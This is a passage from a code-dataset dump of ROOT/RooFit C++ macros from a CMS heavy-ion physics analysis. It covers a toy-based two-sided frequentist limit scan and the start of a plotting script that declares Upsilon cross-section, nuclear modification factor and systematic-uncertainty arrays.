RooRealVar *var = sbHypo->GetObservables()->first();;\n cout << var->GetName() << endl;\n RooDataSet * osSigData = \n (RooDataSet *)ws->data(\"data\")->emptyClone(Form(\"toy_os_Data_%f\",mu[i]));\n RooDataSet * tmpData = sbHypo->GetPdf()->generate(RooArgSet(*var,*dataCat)\n // protoData->numEntries(),\n // RooFit::ProtoData(*protoData)\n );\n osSigData->append(*tmpData);\n delete tmpData;\n ws->import(*osSigData);\n osSigData->Print();\n\n RooAbsReal * pNll = sbHypo.GetPdf()->createNLL( *osSigData,NumCPU(2) );\n RooMinuit(*pNll).migrad(); // minimize likelihood wrt all parameters before making plots\n muhat[i] = firstPOI->getVal();\n\n cout << \"---------------------------------------------------------------------------------------------------------------------------\" << endl;\n RooStats::ProfileLikelihoodCalculator plc(*osSigData, *sbHypo);\n plc.SetTestSize(1.-CI);\n ConfInterval* plcInterval = plc.GetInterval();\n cout << \"---------------------------------------------------------------------------------------------------------------------------\" << endl;\n lowlim_ls[i] = ((LikelihoodInterval*) plcInterval)->LowerLimit(*firstPOI);\n upplim_ls[i] = ((LikelihoodInterval*) plcInterval)->UpperLimit(*firstPOI);\n\n // firstPOI->setMin(0);\n\n // RooPlot* xframeSB = var->frame(Title(\"SBhypo\"));\n // osSigData->plotOn(xframeSB,Cut(\"dataCat==dataCat::hi\"));\n // RooAbsPdf *pdfSB = sbHypo->GetPdf();\n // pdfSB->plotOn(xframeSB,Slice(*dataCat,\"hi\"),ProjWData(*dataCat,*osSigData));\n // xframeSB->Draw();\n\n // pair<double,double> lims2 = StandardHypoTestInvDemo(f->GetName(),\n // ws,\n // sbHypo,\n // bHypo,\n // Form(\"toy_os_Data_%f\",mu[i]),\n // calculatorType,\n // testStatType, \n // useCLs, \n // 20, \n // poimin, \n // poimax, \n // 1000,\n // false,\n // 0);\n pair<double,double> lims2 = TwoSidedFrequentistUpperLimitWithBands(f->GetName(),\n ws,\n sbHypo->GetName(),\n Form(\"toy_os_Data_%f\",mu[i]), false);\n cout << lims2.first << \" \" << lims2.second << endl;\n lowlim[i] = lims2.first;\n upplim[i] = lims2.second;\n\n delete osSigData;\n }\n\n // stupid sort of the result arrays\n for (int i=0; i<npoints; i++)\n for (int j=i+1; j<npoints; j++)\n if (muhat[i]>muhat[j])\n {\n double muhbuf=muhat[i],lowbuf=lowlim[i],uppbuf=upplim[i],lowbuf_ls=lowlim_ls[i],uppbuf_ls=upplim_ls[i],mubuf=mu[i];\n muhat[i]=muhat[j];lowlim[i]=lowlim[j];upplim[i]=upplim[j];lowlim_ls[i]=lowlim_ls[j];upplim_ls[i]=upplim_ls[j];mu[i]=mu[j];\n muhat[j]=muhbuf;lowlim[j]=lowbuf;upplim[j]=uppbuf;lowlim_ls[j]=lowbuf_ls;upplim_ls[j]=uppbuf_ls;mu[j]=mubuf;\n }\n\n for (int i=0; i<npoints; i++)\n cout << muhat[i] << \" \" << lowlim[i] << \" \" << upplim[i] << \", LS -> \" << lowlim_ls[i] << \" \" << upplim_ls[i] << endl;\n\n cout << \"data \" << muhat_data << \" \" << lims_data.first << \" \" << lims_data.second << endl;\n\n // TGraph *gupp = new TGraph(npoints,muhat,upplim);\n // TGraph *glow = new TGraph(npoints,muhat,lowlim);\n // TGraph *gmu = new TGraph(npoints,muhat,mu);\n double eyl[npoints]; double eyh[npoints];\n double eyl_ls[npoints]; double eyh_ls[npoints];\n for (int i=0; i<npoints; i++)\n {\n eyl[i] = mu[i]-lowlim[i];\n eyh[i] = upplim[i]-mu[i];\n eyl_ls[i] = mu[i]-lowlim_ls[i];\n eyh_ls[i] = upplim_ls[i]-mu[i];\n }\n TGraphAsymmErrors *tgmu = new TGraphAsymmErrors(npoints,muhat,mu,0,0,eyl,eyh);\n TGraphAsymmErrors *tgmu_ls = new TGraphAsymmErrors(npoints,muhat,mu,0,0,eyl_ls,eyh_ls);\n TGraph *tgmune = new TGraph(npoints,muhat,mu);\n TLine *limdata = new TLine(muhat_data,lims_data.first,muhat_data,lims_data.second);\n TH1F *haxes = new TH1F(\"haxes\",\"FC\",1,-0.1,0.5);\n\n TCanvas *c2 = new TCanvas();c2->cd();\n\n haxes->GetYaxis()->SetRangeUser(0,0.5);\n haxes->Draw();\n tgmune->Draw(\"l\");\n tgmu->SetFillColor(6);\n tgmu->SetFillStyle(3005);\n tgmu->Draw(\"3\");\n tgmu_ls->SetFillColor(4);\n tgmu_ls->SetFillStyle(3004);\n tgmu_ls->Draw(\"3\");\n // gupp->Draw(\"l\");\n // glow->Draw(\"l\");\n limdata->Draw();\n\n c2->SaveAs(\"limitscan_twosidedfreq.pdf\");\n c2->SaveAs(\"limitscan_twosidedfreq.C\");\n}\n" }, { "alpha_fraction": 0.5629978179931641, "alphanum_fraction": 0.6548534035682678, "avg_line_length": 45.10039138793945, "blob_id": "d230e30213dbf9ed8df69ecdb47861e45a8b7dac", "content_id": "ad0ea77bdf1630fe5c9363b6c2bf870cf89a6c2d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 234651, "license_type": "no_license", "max_line_length": 405, "num_lines": 5090, "path": "/plotting/plotRaa2014.C", "repo_name": "nfilipov/HIN-15-001", "src_encoding": "UTF-8", "text": "// Root stuff\n#include \"TROOT.h\"\n#include \"TAxis.h\"\n#include \"TCanvas.h\"\n#include \"TDirectory.h\"\n#include \"TFile.h\"\n#include \"TLatex.h\"\n\n#include \"TMath.h\"\n#include \"TPaveLabel.h\"\n#include \"TPaveText.h\"\n#include \"TStyle.h\"\n#include \"TText.h\"\n\n#include \"data_raa2015.h\"\n#include \"systematics.C\"\n#include \"CMS_lumi.C\"\n#include \"tdrstyle.C\"\n#include \"data_raaSyst.h\"\n// miscellaneous \n#include <fstream>\n#include <iostream>\n\nusing namespace std;\n\nconst bool plotCS =true;//fully corrected\nconst bool plotUncorrected = false;\nconst bool plotFiducial=false;//fiducial plots(not corrected for acc)\nconst bool plotEffOrAcc=false;//control plots (ratio of efficiencies etc)\nconst bool plotRAA=true;// centrality, transverse momentum, rapidity,\nconst bool plotPA=false;\nconst bool plotTNP=true;\nconst bool plot2010=false;\nconst bool plotSignificance=false;\nconst bool plotDD=false;\nconst bool plotTight=false;\nconst bool FourBins=true;\nconst string outSyst = \"syst_outputfile.txt\";\nconst string outRes = \"updatedResultFile.txt\";\nconst bool plotLin=true; // plot linear plots as well\nconst bool doMB=true; // display the MB values on the RAA vs Npart plot\n\nconst TString basedir1 = \"~/Desktop/figs\";\nconst TString basedir2 = \"/tmp\"; //\"~/Documents/PR/forTWiki/CSandRAA\"\n\n// colors\nColor_t color1Spp = kCyan+1;\nColor_t color2Spp = kCyan+2;\nColor_t color3Spp = kCyan+3;\nColor_t color1Saa = kGreen+2;\nColor_t color2Saa = kGreen+3;\nColor_t color3Saa = kGreen+4;\nColor_t color1Sraa = kOrange+1;\nColor_t color2Sraa = kOrange+4;\nColor_t color3Sraa = kOrange+3;\n \nconst float gTextSize = 0.04;\n\nfloat computeRatio(float x, float y) ;\nfloat computeRatioError(float x, float y, float xerr, float yerr);\nvoid doplot2010();\nvoid combine_blue(double val1, double err1, double val2, double err2);\nvoid plotRAA_uncorr();\nvoid plotDoubleRatios();\nvoid plotRaa2014()\n{\n\n \n std::ofstream ofSyst;\n std::ofstream ofRes;\n\n // gROOT->Macro(\"../code/cm/logon.C+\");//it all looks much nicer with this.\n // gROOT->Macro(\"data_raa.h\");\n\n // set the style\n setTDRStyle();\n\n double RapBinWidth = 4.8;\n double PtBinWidth = 20;\n float pt [nPtBins_2013] = {1.25, 3.75, 6.5, 10., 16.};\n float ptShift [nPtBins_2013] = {1.6, 4.1, 6.9, 10.4, 16.4};\n float pt2014 [nPtBins_2014] = {1.25, 3.75, 6.5, 10., 16.,30};\n // float pt2014Shift [nPtBins_2014] = {1.45, 3.85, 6.6, 10.1, 16.1};\n float pt2014e[nPtBins_2014] = {1.25, 1.25, 1.5, 2., 4.,10.};\n // float pt2014eShift[nPtBins_2014] = {1.25, 1.25, 1.5, 2., 4.,10.};\n float pte[nPtBins_2013] = {1.25, 1.25, 1.5, 2., 4.};\n // float pteShift[nPtBins_2013] = {1.25, 1.25, 1.5, 2., 4.};\n float deltaPt[nPtBins_2013] = {2.5,2.5,3,4,8};\n float pt_2010 [nPtBins_2010] = {2.6,8.6,20.1};\n float pte_2010[nPtBins_2010] = {2.5,3.5,4};\n float deltaPt_2010[nPtBins_2010] = {5.,7.,8.};\n float deltaRap2010[nRapBins_2010] = {2.4,2.4};\n float deltaRapEven[nRapBins_2014] = {0.8,0.8,0.8,0.8,0.8,0.8};\n\n\n float R_A_1S_pt[nPtBins_2013]={};\n float R_A_1S_pte[nPtBins_2013]={};\n float R_A_1S_rap[nRapBins_2014]={};\n float R_A_1S_rape[nRapBins_2014]={}; \n float R_e_1S_pt[nPtBins_2013]={};\n float R_e_1S_pte[nPtBins_2013]={};\n float R_e_1S_rap[nRapBins_2014]={};\n float R_e_1S_rape[nRapBins_2014]={};\n\n float CS1S_pp_rap[nRapBins_2013] = {}; // left this one to compare 2013 with 2014 (only difference: larger bin 1.5-2.4). /// not used for now.\n float CS1S_pp_rape[nRapBins_2013] = {};\n float CS1S_pp_pt[nPtBins_2013] = {};\n float CS1S_pp_pte[nPtBins_2013] = {};\n\n //large things\n float CS1S_pp_ptLarge[nPtBins_2010] = {};\n float CS1S_pp_pteLarge[nPtBins_2010] = {};\n float CS1S_aa_ptLarge[nPtBins_2010] = {};\n float CS1S_aa_pteLarge[nPtBins_2010] = {};\n //RAA pt 2010\n \n float RAA_1S_ptLarge[nPtBins_2010]={};\n float RAA_1S_pteLarge[nPtBins_2010]={};\n //large things\n float CS1S_pp_rapLarge[nRapBins_2010] = {};\n float CS1S_pp_rapeLarge[nRapBins_2010] = {};\n float CS1S_aa_rapLarge[nRapBins_2010] = {};\n float CS1S_aa_rapeLarge[nRapBins_2010] = {};\n //RAA rap 2010\n \n float RAA_1S_rapLarge[nRapBins_2010]={};\n float RAA_1S_rapeLarge[nRapBins_2010]={};\n //\n float CS1S_pp_tnp_pt[nPtBins_2013] = {};\n float CS1S_pp_tnp_pte[nPtBins_2013] = {};\n float CS1S_pp_tnp_pts[nPtBins_2013] = {};\n float CS1S_pp_tnp_pt4[nPtBins_2013] = {}; //pt4\n float CS1S_pp_tnp_pt4e[nPtBins_2013] = {};\n float CS1S_pp_tnp_pt4s[nPtBins_2013] = {};\n float CS1S_pp_rap2014[nRapBins_2014] = {};\n float CS1S_pp_rap2014e[nRapBins_2014] = {};\n float CS1S_pp_rap2014s[nRapBins_2014] = {};\n float CS1S_pp_tnp_rap2014[nRapBins_2014] = {};\n float CS1S_pp_tnp_rap2014e[nRapBins_2014] = {};\n float CS1S_pp_tnp_rap2014s[nRapBins_2014] = {};\n float CS1S_pp_tnp_rap42014[nRapBins_2014] = {};//pt4\n float CS1S_pp_tnp_rap42014e[nRapBins_2014] = {};\n float CS1S_pp_tnp_rap42014s[nRapBins_2014] = {};\n float CS1S_aa_pt[nPtBins_2013] = {};\n float CS1S_aa_pte[nPtBins_2013] = {}; //not sure i'll use it for the moment\n float CS1S_aa_rap[nRapBins_2013] = {};\n float CS1S_aa_rape[nRapBins_2013] = {};\n float CS1S_aa_rap2014[nRapBins_2014] = {};\n float CS1S_aa_rap2014e[nRapBins_2014] = {};\n float CS1S_aa_tnp_pt[nPtBins_2013] = {};\n float CS1S_aa_tnp_pts[nPtBins_2013] = {};\n float CS1S_aa_tnp_pte[nPtBins_2013] = {};\n float CS1S_aa_tnp_pt4[nPtBins_2013] = {}; //pt4\n float CS1S_aa_tnp_pt4s[nPtBins_2013] = {};\n float CS1S_aa_tnp_pt4e[nPtBins_2013] = {};\n float CS1S_aa_tnp_rap[nRapBins_2013] = {};\n float CS1S_aa_tnp_rape[nRapBins_2013] = {};\n float CS1S_aa_tnp_rap2014[nRapBins_2014] = {};\n float CS1S_aa_tnp_rap2014e[nRapBins_2014] = {};\n float CS1S_aa_tnp_rap2014s[nRapBins_2014] = {};\n float CS1S_aa_tnp_rap42014[nRapBins_2014] = {};//pt4\n float CS1S_aa_tnp_rap42014e[nRapBins_2014] = {};\n float CS1S_aa_tnp_rap42014s[nRapBins_2014] = {};\n\n float CS1S_pp_ptFiducial[nPtBins_2013]={}; //\n float CS1S_aa_ptFiducial[nPtBins_2013]={}; //\n float CS1S_pp_rap2014Fiducial[nRapBins_2014]={}; //\n float CS1S_aa_rapFiducial[nRapBins_2013]={};//\n\n float CS2S_pp_pt2013Fiducial[nPtBins_2013]={};//\n // float CS2S_pp_ptFiducial[nPtBins_2010]={};\n // float CS2S_aa_ptFiducial[nPtBins_2010]={};\n // float CS2S_aa_rapFiducial[nRapBins_2010]={};\n // float CS2S_pp_rapFiducial[nRapBins_2010]={};\n float CS2S_pp_rap2014Fiducial[nRapBins_2014]={};\n\n float CS1S_pp_ptFiduciale[nPtBins_2013]={};\n float CS1S_aa_ptFiduciale[nPtBins_2013]={};\n float CS1S_pp_rap2014Fiduciale[nRapBins_2014]={};\n float CS1S_aa_rapFiduciale[nRapBins_2014]={};\n\n float CS2S_pp_pt2013Fiduciale[nPtBins_2013]={};\n // float CS2S_pp_ptFiduciale[nPtBins_2010]={};\n // float CS2S_aa_ptFiduciale[nPtBins_2010]={};\n // float CS2S_aa_rapFiduciale[nRapBins_2010]={};\n // float CS2S_pp_rapFiduciale[nRapBins_2010]={};\n float CS2S_pp_rap2014Fiduciale[nRapBins_2014]={};\n\n float CS2S_pp_pt[nPtBins_2010] = {};\n float CS2S_pp_pt2013[nPtBins_2013] ={};\n float CS2S_pp_pte[nPtBins_2010] = {};\n float CS2S_pp_pts[nPtBins_2010] = {};\n float CS2S_pp_pt2013e[nPtBins_2013] ={};\n float CS2S_pp_tnp_pt[nPtBins_2010] = {};\n float CS2S_pp_tnp_pt2013[nPtBins_2013] ={};\n float CS2S_pp_tnp_pts[nPtBins_2013] ={};\n float CS2S_pp_tnp_pte[nPtBins_2010] = {};\n float CS2S_pp_tnp_pt2013e[nPtBins_2013] ={};\n float CS2S_pp_rap[nRapBins_2010] = {};\n float CS2S_pp_rap2014[nRapBins_2014] = {};\n float CS2S_pp_rape[nRapBins_2010] = {};\n float CS2S_pp_rap2014e[nRapBins_2014] = {};\n float CS2S_pp_tnp_rap[nRapBins_2010] = {};\n float CS2S_pp_tnp_rape[nRapBins_2010] = {};\n float CS2S_pp_tnp_raps[nRapBins_2010] = {};\n float CS2S_pp_tnp_rap2014[nRapBins_2014] = {};\n float CS2S_pp_tnp_rap2014e[nRapBins_2014] = {}; \n float CS2S_pp_tnp_rap2014s[nRapBins_2014]={};\n float CS2S_aa_pt[nPtBins_2010] = {};\n float CS2S_aa_pte[nPtBins_2010] = {};\n float CS2S_aa_pts[nPtBins_2010] = {};\n float CS2S_aa_rap[nRapBins_2010] = {};\n float CS2S_aa_tnp_pt[nPtBins_2010] = {};\n float CS2S_aa_tnp_pte[nPtBins_2010] = {};\n float CS2S_aa_tnp_rap[nRapBins_2010] = {};\n float CS2S_aa_tnp_rape[nRapBins_2010] = {};\n float CS2S_aa_tnp_raps[nRapBins_2010] = {};\n\n \n float CS3S_pp_pt2013[nPtBins_2013] ={};\n float CS3S_pp_pt2013e[nPtBins_2013] ={};\n float CS3S_pp_rap2014[nRapBins_2014] = {};\n float CS3S_pp_rap2014e[nRapBins_2014] = {};\n float CS3S_pp_tnp_pt2013[nPtBins_2013] ={};\n float CS3S_pp_tnp_pt2013e[nPtBins_2013] ={};\n float CS3S_pp_tnp_pts[nPtBins_2013] ={};\n float CS3S_pp_tnp_rap2014[nRapBins_2014] = {};\n float CS3S_pp_tnp_rap2014e[nRapBins_2014] = {};\n float CS3S_pp_tnp_rap2014s[nRapBins_2014]={};\n\n float RAA_1S_pt[nPtBins_2013]={};\n float RAA_1S_rap[nRapBins_2014]={};\n float RAA_1S_pte[nPtBins_2013]={};\n float RAA_1S_rape[nRapBins_2014]={};\n\n float RAA_2S_pt[nPtBins_2010]={};\n float RAA_2S_rap[nRapBins_2010]={};\n float RAA_2S_pte[nPtBins_2010]={};\n float RAA_2S_rape[nRapBins_2010]={};\n //tnp correction\n float RAA_1S_tnp_pt[nPtBins_2013]={};\n float RAA_1S_tnp_rap[nRapBins_2014]={};\n float RAA_1S_tnp_pte[nPtBins_2013]={};\n float RAA_1S_tnp_pts[nPtBins_2013]={};//point-to-point for plots.\n float RAA_1S_tnp_ptsT[nPtBins_2013]={};// second one is global+loc.\n float RAA_1S_tnp_rape[nRapBins_2014]={};\n float RAA_1S_tnp_raps[nRapBins_2014]={};\n float RAA_1S_tnp_rapsT[nRapBins_2014]={};// second one is global+loc.\n\n float RAA_1S_tnp_pt4[nPtBins_2013]={};\n float RAA_1S_tnp_rap4[nRapBins_2014]={};\n float RAA_1S_tnp_pt4e[nPtBins_2013]={};\n float RAA_1S_tnp_pt4s[nPtBins_2013]={};//point-to-point for plots.\n float RAA_1S_tnp_pt4sT[nPtBins_2013]={};// second one is global+loc.\n float RAA_1S_tnp_rap4e[nRapBins_2014]={};\n float RAA_1S_tnp_rap4s[nRapBins_2014]={};\n float RAA_1S_tnp_rap4sT[nRapBins_2014]={};// second one is global+loc.\n\n float RAA_2S_tnp_pt[nPtBins_2010]={};\n float RAA_2S_tnp_rap[nRapBins_2010]={};\n float RAA_2S_tnp_pte[nPtBins_2010]={};\n float RAA_2S_tnp_pts[nPtBins_2010]={};\n float RAA_2S_tnp_ptsT[nPtBins_2010]={};\n float RAA_2S_tnp_rape[nRapBins_2010]={};\n float RAA_2S_tnp_raps[nRapBins_2010]={};\n float RAA_2S_tnp_rapsT[nRapBins_2010]={};\n //Significance, for all non-believers out there\n float SigOverErr_ppPt1S3p5[nPtBins_2013]={}; \n float SigOverErr_ppPt1S4[nPtBins_2013]={};\n float SigOverErr_ppRap1S3p5[nRapBins_2014]={};\n float SigOverErr_ppRap1S4[nRapBins_2014]={};\n float SigOverErr_aaPt1S3p5[nPtBins_2013]={};\n float SigOverErr_aaPt1S4[nPtBins_2013]={};\n float SigOverErr_aaRap1S3p5[nRapBins_2014]={};\n float SigOverErr_aaRap1S4[nRapBins_2014]={};\n float SigOverErr_ppPt2S3p5[nPtBins_2013]={};\n float SigOverErr_ppRap2S3p5[nRapBins_2014]={};\n float SigOverErr_ppPt2S4[nPtBins_2013]={};\n float SigOverErr_ppRap2S4[nRapBins_2014]={};\n float SigOverErr_ppPt3S3p5[nPtBins_2013]={};\n float SigOverErr_ppRap3S3p5[nRapBins_2014]={};\n float SigOverErr_ppPt3S4[nPtBins_2013]={};\n float SigOverErr_ppRap3S4[nRapBins_2014]={};\n float SigOverErr_aaPt2S3p5[nPtBins_2010]={};\n float SigOverErr_aaRap2S3p5[nRapBins_2010]={};\n float SigOverErr_aaPt2S4[nPtBins_2010]={};\n float SigOverErr_aaRap2S4[nRapBins_2010]={};\n float twoBins[nRapBins_2010]={0.5,1.5};\n float threeBins[nPtBins_2010]={0.5,1.5,2.5};\n float fiveBins[nPtBins_2013]={0.5,1.5,2.5,3.5,4.5};\n float sixBins[nRapBins_2014]={0.5,1.5,2.5,3.5,4.5,5.5};\n //(very global) systematics:\n //1. pp uncertainty from tracking and lumi:\n float syst_global_pp = sqrt(pow(tracking_pp,2)+pow(L_pp_e,2)); // for bins of kinematics\n //2. AA uncertainty from tracking and N_MB\n float syst_global_AA = sqrt(pow(tracking_aa,2)+pow(T_AA_e,2)+pow(N_MB_e,2)); // T_AA_e is for MB TAA 'relative' uncertainty, integrated.\n //3. total syst. uncertainties for signal: pp,1S,2S,3S, and pbpb, 1S, 2S.\n float syst1S_pp_glob = sqrt(pow(N1S_pp_tot3p5s,2)+pow(Aet_1S_pythia_tote/Aet_1S_pythia_tot,2)+syst_global_pp*syst_global_pp); // for total systematics, not total error.;\n float syst2S_pp_glob = sqrt(pow(N2S_pp_tot4s,2)+pow(Aet_2S_pythia_tote,2)+syst_global_pp*syst_global_pp); \n float syst3S_pp_glob = sqrt(pow(N3S_pp_tot4s,2)+pow(Aet_3S_pythia_tote,2)+syst_global_pp*syst_global_pp); \n float syst1S_AA_glob = sqrt(pow(N1S_aa_tot3p5s,2)+pow(Aet_1S_pyquen_tote/Aet_1S_pyquen_tot,2)+syst_global_AA*syst_global_AA);//for total only\n float syst2S_AA_glob = sqrt(pow(N2S_aa_tot4s,2)+pow(Aet_2S_pyquen_tote/Aet_2S_pyquen_tot,2)+syst_global_AA*syst_global_AA); //not good\n // grey box\n float syst1S_raa_global= sqrt(pow(syst_global_pp,2)+pow(syst_global_AA,2));\n // and grey box again (redundant):\n float syst1S_raa_global4=0;//sqrt((0.062*0.062)+(0.2/5.4)*(0.2/5.4)+pow(N1S_pp_tot4s,2)+pow(N1S_pp_tot4e/N1S_pp_tot4,2)+pow(t_1S_pythia_tot4e/t_1S_pythia_tot4,2));\n float syst2S_raa_global= sqrt(pow(syst_global_pp,2)+pow(syst_global_AA,2)) ;\n //global syst for all states\n float systAA_glob2 = syst2S_AA_glob;\n float systAA_glob1 = syst1S_AA_glob;\n // syst1S_aa_Cent4[i]+=(t_1S_pythia_tot3p5-1)*(t_1S_pythia_tot3p5-1)+(N1S_pp_tot3p5e/N1S_pp_tot3p5)*(N1S_pp_tot3p5e/N1S_pp_tot3p5)+N1S_pp_tot3p5s*N1S_pp_tot3p5s+L_pp_e*L_pp_e+N_MB_e*N_MB_e;\n float syst1S_pp_centGlob= syst1S_pp_glob;\n float syst2S_pp_centGlob4 = syst2S_pp_glob; // sqrt((L_pp_e*L_pp_e)+(N2S_pp_tot4s*N2S_pp_tot4s)+(N2S_pp_tot4e*N2S_pp_tot4e)/(N2S_pp_tot4*N2S_pp_tot4)+(t_2S_pythia_tote/t_2S_pythia_tot)*(t_2S_pythia_tote/t_2S_pythia_tot)+N1S_pp_tot4s*N1S_pp_tot4s); //L_pp + stat_pp tot(2S) + tnp_pp2S \n float syst1S_pp_centGlob4=sqrt((L_pp_e*L_pp_e)+(N1S_pp_tot4e*N1S_pp_tot4e)/(N1S_pp_tot4*N1S_pp_tot4)+pow(t_1S_pythia_tot4e/t_1S_pythia_tot4,2)); //L_pp + stat_pp tot(1S)pt4 + tnp_pp1S pt4 +\n float syst1S_pp_pt[nPtBins_2013]={};//fit syst. uncertainty.\n float syst2S_pp_pt[nPtBins_2013]={};\n float syst2S_pp_ptLoose[nPtBins_2013]={};\n float syst3S_pp_pt[nPtBins_2013]={};\n float syst3S_pp_ptLoose[nPtBins_2013]={};\n float syst1S_aa_pt[nPtBins_2013]={};\n float syst1S_pp_pt4[nPtBins_2013]={};\n float syst1S_aa_pt4[nPtBins_2013]={};\n\n float syst1S_pp_rap[nRapBins_2014]={};\n float syst1S_pp_rap4[nRapBins_2014]={};\n float syst2S_pp_rap[nRapBins_2014]={};\n float syst3S_pp_rap[nRapBins_2014]={};\n float syst2S_pp_rapLoose[nRapBins_2014]={};\n float syst3S_pp_rapLoose[nRapBins_2014]={};\n float syst1S_aa_rap[nRapBins_2014]={};\n float syst1S_aa_rap4[nRapBins_2014]={};\n float syst2S_aa_pt[nPtBins_2010]={};\n float syst2S_aa_rap[nRapBins_2010]={};\n float syst2S_pp_ptLarge[nPtBins_2010]={};\n float syst2S_pp_rapLarge[nRapBins_2010]={};\n float syst2S_aa_ptLoose[nPtBins_2010]={};\n float syst2S_aa_rapLoose[nRapBins_2010]={};\n float syst2S_pp_ptLargeLoose[nPtBins_2010]={};\n float syst2S_pp_rapLargeLoose[nRapBins_2010]={};\n \n float syst1S_aa_Cent[nCentBins_2014]={};\n float syst1S_aa_Cent4[nCentBins_2014]={};\n float syst2S_aa_Cent[nCentBins2S]={};\n float syst2S_aa_CentLoose[nCentBins2S]={};\n //1S pp sources of uncertainty.\n float stat1S_pp_pt[nPtBins_2013]={}; //stat. pp relative uncertainty (contributing to R_AA as a pt to pt syst. uncertainty!\n float stat1S_pp_rap[nRapBins_2014]={};\n float syst1S_pptnp_pt[nPtBins_2013]={}; // tnp pp babies!\n float syst1S_pptnp_rap[nRapBins_2014]={};\n float syst1S_aatnp_pt[nPtBins_2013]={}; // tnp aa babies!\n float syst1S_aatnp_rap[nRapBins_2014]={}; // tnp aa babies!\n //1S pp TIGHT sources of uncertainty.\n float stat1S_pp_pt4[nPtBins_2013]={}; //stat. pp relative uncertainty (contributing to R_AA as a pt to pt syst. uncertainty!\n float stat1S_pp_rap4[nRapBins_2014]={};\n float syst1S_pptnp_pt4[nPtBins_2013]={}; // tnp pp babies!\n float syst1S_pptnp_rap4[nRapBins_2014]={};\n float syst1S_aatnp_pt4[nPtBins_2013]={}; // tnp aa babies!\n float syst1S_aatnp_rap4[nRapBins_2014]={}; // tnp aa babies!\n //2S pp sources of uncertainty.\n float stat2S_pp_pt[nPtBins_2013]={}; \n float syst2S_pptnp_pt[nPtBins_2013]={};\n float stat2S_pp_ptLoose[nPtBins_2013]={}; \n float syst2S_pptnp_ptLoose[nPtBins_2013]={};\n float stat2S_pp_rap[nRapBins_2014]={}; \n float syst2S_pptnp_rap[nRapBins_2014]={};\n float stat2S_pp_rapLoose[nRapBins_2014]={}; \n float syst2S_pptnp_rapLoose[nRapBins_2014]={};\n //3S pp sources of uncertainty.\n float stat3S_pp_pt[nPtBins_2013]={}; \n float syst3S_pptnp_pt[nPtBins_2013]={};\n float stat3S_pp_ptLoose[nPtBins_2013]={}; \n float syst3S_pptnp_ptLoose[nPtBins_2013]={};\n float stat3S_pp_rap[nRapBins_2014]={}; \n float syst3S_pptnp_rap[nRapBins_2014]={};\n float stat3S_pp_rapLoose[nRapBins_2014]={}; \n float syst3S_pptnp_rapLoose[nRapBins_2014]={};\n //2S large pT RAA\n float stat2S_pp_ptLarge[nPtBins_2010]={}; \n float syst2S_aatnp_pt[nPtBins_2010]={};\n float syst2S_pptnp_ptLarge[nPtBins_2010]={};\n float syst2S_raa_pointPt[nPtBins_2010]={};\n float syst2S_raa_pt[nPtBins_2010]={};\n float syst2S_cspp_ptLarge[nPtBins_2010]={};\n float syst2S_csaa_pt[nPtBins_2010]={};\n //2S loose pt RAA\n float stat2S_pp_ptLargeLoose[nPtBins_2010]={}; \n float syst2S_aatnp_ptLoose[nPtBins_2010]={};\n float syst2S_pptnp_ptLargeLoose[nPtBins_2010]={};\n float syst2S_raa_pointPtLoose[nPtBins_2010]={};\n float syst2S_raa_ptLoose[nPtBins_2010]={};\n float syst2S_cspp_ptLargeLoose[nPtBins_2010]={};\n float syst2S_csaa_ptLoose[nPtBins_2010]={};\n \n \n\n //2S large rap RAA \n float stat2S_pp_rapLarge[nRapBins_2010]={};\n float syst2S_aatnp_rap[nRapBins_2010]={};\n float syst2S_pptnp_rapLarge[nRapBins_2010]={};\n float syst2S_raa_pointRap[nRapBins_2010]={};\n float syst2S_raa_rap[nRapBins_2010]={};\n float syst2S_cspp_rapLarge[nRapBins_2010]={};\n float syst2S_csaa_rap[nRapBins_2010]={};\n //2S large rap LOOSE RAA\n float stat2S_pp_rapLargeLoose[nRapBins_2010]={};\n float syst2S_aatnp_rapLoose[nRapBins_2010]={};\n float syst2S_pptnp_rapLargeLoose[nRapBins_2010]={};\n float syst2S_raa_pointRapLoose[nRapBins_2010]={};\n float syst2S_raa_rapLoose[nRapBins_2010]={};\n float syst2S_cspp_rapLargeLoose[nRapBins_2010]={};\n float syst2S_csaa_rapLoose[nRapBins_2010]={};\n\n\n float syst1S_raa_pointPt[nPtBins_2013]={};//point-to-point syst. for raa: stat pp, syst pp, tnp_pp, tnp_pbpb.\n float syst1S_raa_pointPt4[nPtBins_2013]={};//point-to-point syst. for raa: stat pp, syst pp, tnp_pp, tnp_pbpb.\n float syst1S_raa_pointRap[nRapBins_2014]={};\n float syst1S_raa_pointRap4[nRapBins_2014]={};\n float syst1S_raa_pt[nPtBins_2013]={};//total for tables = quad. sum of point and global.\n float syst1S_raa_pt4[nPtBins_2013]={};//total for tables = quad. sum of point and global.\n float syst1S_raa_rap[nRapBins_2014]={};\n float syst1S_raa_rap4[nRapBins_2014]={};\n float syst1S_cspp_pt[nPtBins_2013]={};\n float syst1S_cspp_pt4[nPtBins_2013]={};\n float syst2S_cspp_pt[nPtBins_2013]={};\n float syst3S_cspp_pt[nPtBins_2013]={};\n float syst1S_csaa_pt4[nPtBins_2013]={};\n float syst1S_csaa_pt[nPtBins_2013]={};\n float syst1S_cspp_rap[nRapBins_2014]={};\n float syst1S_cspp_rap4[nRapBins_2014]={};\n float syst2S_cspp_rap[nRapBins_2014]={};\n float syst3S_cspp_rap[nRapBins_2014]={};\n float syst1S_csaa_rap[nRapBins_2014]={};\n float syst1S_csaa_rap4[nRapBins_2014]={};\n\n // ofSyst.open(outSyst.c_str(), ios_base::out); //open the out stream for syst results.\n // ofRes.open(outRes.c_str(), ios_base::out); //open the out stream for syst results.\n \n float recap_syst[10][nfitvars]; // array of relative deviations. the second dimensional array is for each variable \n // 1S pt, 1S rap, 1S cent, 2S pt, 2S rap, 2S cent, 3S pt, 3S rap, 3S cent.\n // for(int j=0; j<10;j++)\n // {\n // recap_syst[j]=\n // }\n\n syst1S_aa_pt[5]= sqrt (pow(RMS(N1S_aa_pt3p5[5],N1S_aa_pt3p5s_40,nfitvars),2) + pow(maxDeviation(N1S_aa_pt3p5[5],N1B_aa_pt3p5s_40,nbkgdvars),2));\n syst1S_aa_pt[4]= sqrt (pow(RMS(N1S_aa_pt3p5[4],N1S_aa_pt3p5s_20,nfitvars),2) + pow(maxDeviation(N1S_aa_pt3p5[4],N1B_aa_pt3p5s_20,nbkgdvars),2));\n syst1S_aa_pt[3]= sqrt (pow(RMS(N1S_aa_pt3p5[3],N1S_aa_pt3p5s_12,nfitvars),2) + 